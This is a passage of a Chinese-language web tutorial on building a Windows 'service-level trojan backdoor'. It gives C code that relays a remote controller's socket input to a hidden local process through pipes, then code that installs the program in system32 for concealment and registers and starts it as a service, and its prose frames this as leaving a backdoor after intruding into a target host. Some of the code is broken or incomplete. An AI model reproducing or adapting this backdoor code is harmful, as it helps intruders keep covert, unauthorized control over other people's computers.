网络安全 频道

自己来做服务级的木马后门

//线程函数A, 通过管道A来从控制端接受输入,然后写入被控制端输入端

DWORD WINAPI ThreadFuncA( LPVOID lpParam )

{

SECURITY_ATTRIBUTES pipeattr;

DWORD nByteToWrite, nByteWritten;

char recv_buff[1024];



pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);

pipeattr.lpSecurityDescriptor = NULL;

pipeattr.bInheritHandle = TRUE;

CreatePipe(&hReadPipe,

&hWriteFile,

&pipeattr,

0);



varA = 1;

while(true)

{

Sleep(250);

nByteToWrite = recv(ClientSocket,

  recv_buff,

  1024,

  0);

printf("%sn", recv_buff);

WriteFile(hWriteFile,

  recv_buff,

  nByteToWrite,

  &nByteWritten,

  NULL);

}

return 0;

}



//线程函数B, 通过管道B来从被控制端接受输入,然后写到控制端输出端

DWORD WINAPI ThreadFuncB( LPVOID lpParam )

{

SECURITY_ATTRIBUTES pipeattr;

DWORD len;

char send_buff[25000];



pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);

pipeattr.lpSecurityDescriptor = NULL;

pipeattr.bInheritHandle = TRUE;



CreatePipe(&hReadFile,

&hWritePipe,

&pipeattr,

0);



varB = 1;

while (true)



return 0;

}

现在我们成功入侵目标主机,在拍屁股走人之前,怎么也要留个后门,方便下次继续。那后门怎么留?我们上面写的都是主体部分,还没安装呢。安装服务的部分其实很简单,示例代码如下:

// InstallService.cpp

void main()

{

SC_HANDLE hSCManager = NULL, //服务控制管理器句柄

hService = NULL;   //服务句柄

char szSysPath[MAX_PATH]=, 

szExePath[MAX_PATH]=;   //我们要把我们后台执行的程序放在这里,一般就是在admin$system32里,

隐蔽性高



if ((hSCManager = OpenSCManager(NULL, //NULL表明是本地主机 

NULL, // 要打开的服务控制管理数据库,默认为空

SC_MANAGER_CREATE_SERVICE//创建权限

))==NULL)

{

pirntf("OpenSCManager failedn");

return;

}



GetSystemDirectory(szSysPath, MAX_PATH); //获得系统目录,也就是system32里面,隐蔽起来

strcpy(szExePath, szSysPath);

strcat(szExePath, "scuhkr.exe"); //应用程序绝对路径



if ((hService=CreateService(hSCManager, //指向服务控制管理数据库的句柄

    "scuhkr",   //服务名

    "scuhkr backdoor service", //显示用的服务名

    SERVICE_ALL_ACCESS, //所有访问权限

    SERVICE_WIN32_OWN_PROCESS, //私有类型

    SERVICE_DEMAND_START, //自启动类型     SERVICE_ERROR_IGNORE, //忽略错误处理

    szExePath, //应用程序路径

    NULL, 

    NULL, 

    NULL,

    NULL,

    NULL)) == NULL)

{

printf("%dn", GetLastError());

  return;

}



//让服务马上运行。万一是个服务器,10天半个月不重启,岂不是没搞头?

if(StartService(hService, 0, NULL) == FALSE)

{ 

printf("StartService failed: %dn", GetLastError());

return;

}

printf(“Install service successfullyn ”);

CloseServiceHandle(hService); //关闭服务句柄

CloseServiceHandle(hSCManager); //关闭服务管理数据库句柄

}

一切都写完了,我们在本机上测试一下,先把前面的服务主体程序Scuhkr.exe拷贝到系统目录system32下(如果需要程序自动实现自拷贝的,可以通过CopyFile()来实现,具体怎么做偶就不讲了,相信聪明的你三下五除二就能搞定,确实不行就去找WinShell的源代码来看看吧),然后执行InstallServcie.exe。为了看我们是否安装成功,有两个办法,一是通过控制面板->管理工具->服务,二是利用控制台下系统自带的Sc.exe工具,比如:“sc.exe qc rpcss”。看到安装服务的信息了?是不是很简单呢

0
相关文章